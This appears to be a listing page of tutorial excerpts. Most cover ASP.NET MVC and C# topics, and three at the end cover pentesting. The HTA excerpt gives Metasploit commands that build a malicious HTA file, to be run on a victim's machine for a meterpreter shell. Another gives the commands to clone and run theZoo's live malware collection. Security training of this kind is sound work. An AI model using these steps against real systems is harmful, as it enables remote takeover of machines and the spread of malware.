Use of ChildActionOnly Attribute in ASP.NET MVC

Nizamuddin Siddiqui
Updated on 24-Sep-2020 11:20:26

1K+ Views

Child Action is only accessible by a child request. It will not respond to the URL requests. If an attempt is made, a runtime error will be thrown stating - Child action is accessible only by a child request. Child action methods can be invoked by making child request from a view using Action() and RenderAction() html helpers.Child action methods are different from NonAction methods, in that NonAction methods cannot be invoked using Action() or RenderAction() helpers.Below is the Child Action Error when we try to invoke it using URL.ControllerExampleusing System.Collections.Generic; using System.Web.Mvc; namespace DemoMvcApplication.Controllers{    public class HomeController : ... Read More

Levels for Applying Filters in ASP.NET MVC

Nizamuddin Siddiqui
Updated on 24-Sep-2020 11:17:38

477 Views

In an ASP .Net MVC application filters can be applied in three levels.Action Method LevelController LevelGlobal LevelAction Method LevelFilters that are applied at the Action Method level will work only particularly for that action method.using System.Web.Mvc; namespace DemoMvcApplication.Controllers{    public class HomeController : Controller{       [Authorize] //Action Method Level       public string Index(){          return "Index Invoked";       }    } }Controller LevelController level filters are applied to all the action methods. The following filter are applicable to all the action methods of the HomeController, but not on other controllers.using System.Web.Mvc; ... Read More

Three Segments of the Default Route in ASP.NET MVC

Nizamuddin Siddiqui
Updated on 24-Sep-2020 11:15:18

970 Views

The ASP.Net MVC Routing module is responsible for mapping incoming browser requests to particular MVC controller actions. When the ASP.NET MVC application launches then the application registers one or more patterns with the framework's route table to tell the routing engine what to do with any requests that matches those patterns. When the routing engine receives a request at runtime, it matches that request's URL against the URL patterns registered with it and gives the response according to a pattern match.ASP.NET introduced Routing to eliminate the needs of mapping each URL with a physical file. Routing enables us to define ... Read More

Significance of NonAction Attribute in ASP.NET MVC

Nizamuddin Siddiqui
Updated on 24-Sep-2020 11:10:35

4K+ Views

The NonAction attribute is used when we want a public method in a controller but do not want to treat it as an action method. An action method is a public method in a controller that can be invoked using a URL. So, by default, if we have any public method in a controller then it can be invoked using a URL request. To restrict access to public methods in a controller, NonAction attribute can be used.Now let us consider HomeController having two public methods MyMethod1 and MyMethod2.ControllerExampleusing System.Web.Mvc; namespace DemoMvcApplication.Controllers{    public class HomeController : Controller{       ... Read More

Use ViewBag in ASP.NET MVC

Nizamuddin Siddiqui
Updated on 24-Sep-2020 11:07:44

4K+ Views

ViewBag uses the dynamic feature that was introduced in to C# 4.0. It allows an object to have properties dynamically added to it. Internally, it is a dynamic type property of the ControllerBase class which is the base class of the Controller class.ViewBag only transfers data from controller to view, not visa-versa. ViewBag values will be null if redirection occurs. ViewBag is able to set and get value dynamically and able to add any number of additional fields without converting it to strongly typed.Storing data in ViewBag −ViewBag.Counties = countriesList;Retrieving data from ViewBag −string country = ViewBag.Countries;ControllerExampleusing System.Collections.Generic; using System.Web.Mvc; ... Read More

Find and Extract a Number from a String in C#

Nizamuddin Siddiqui
Updated on 24-Sep-2020 10:59:04

13K+ Views

A regular expression is a pattern that could be matched against an input text. The .Net framework provides a regular expression engine that allows such matching. A pattern consists of one or more character literals, operators, or constructs.Here are basic pattern metacharacters used by RegEx −* = zero or more ? = zero or one ^ = not [] = rangeThe ^ symbol is used to specify not condition.the [] brackets if we are to give range values such as 0 - 9 or a-z or A-ZUsing Char.IsDigit()Example Live Demousing System; namespace DemoApplication{    public class Program{       static ... Read More

Built-in Message Handlers in ASP.NET Web API

Nizamuddin Siddiqui
Updated on 24-Sep-2020 10:55:19

757 Views

A message handler is a class that receives an HTTP request and returns an HTTP response. Message handlers derive from the abstract HttpMessageHandler class. Message handlers provide us the opportunity to process, edit, or decline an incoming request before it reaches the HttpControllerDispatcher.Message handlers are executed much earlier in the request processing pipeline, hence they are a great place to implement cross cutting concerns in Web API. Message Handlers are nothing but a chain of classes (it may be system defined or defined by us) that sits next to the process of HTTP request and response through a pipeline.For example, ... Read More

Pentesting Using Docker

Ajay yadav
Updated on 23-Sep-2020 12:38:05

322 Views

You will learn how to configure vulnerable web applications (DVWA) with the help of docker in easy steps. Docker is a third-party tool developed to create an isolated environment to execute any application. These applications are run using containers. These containers are unique because they bring together all the dependencies of an application into a single package and deploy it. Hit these commands to install and configure it as;apt updateapt install docker.iosystemctl start dockersystemctl enable dockerConfigure DVWA on DockerDamn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid ... Read More

TheZoo Repository Live Malware Analysis

Ajay yadav
Updated on 23-Sep-2020 12:33:30

1K+ Views

theZoo's allows the study of malware and enable people who are interested in malware analysis to have access to live malware, analyse the ways they operate, and maybe even enable advanced and savvy people to block specific malware within their own environment.git clone https://github.com/ytisf/theZoocd theZoopip install --user -r requirements.txtpython theZoo.pyI recommend running them in a VM which has no internet connection (or an internal virtual network if you must) and without guest additions or any equivalents. Some of them are worms and will automatically try to spread out. Running them unconstrained means that you will infect yourself or others with ... Read More

Hacking with HTA File (mshta.exe)

Ajay yadav
Updated on 23-Sep-2020 12:31:54

2K+ Views

The Windows OS utility responsible for running HTA( HTML Application) files that we can run with JavaScript or VBScript. You can interpret these files using the Microsoft MSHTA.exe tool.Metasploit contain the “HTA Web Server” module which generates malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell.Malicious HTA fileOpen metasploit in Kali linux and hit the following commands to generate a malicious HTA file as;use exploit/windows/misc/hta_serverset srvhost 192.168.1.109set lhost 192.168.1.109exploitNow run the malicious code on the target machine through mshta.exe on the victim’s machine to obtain meterpreter sessions.Read More

Advertisements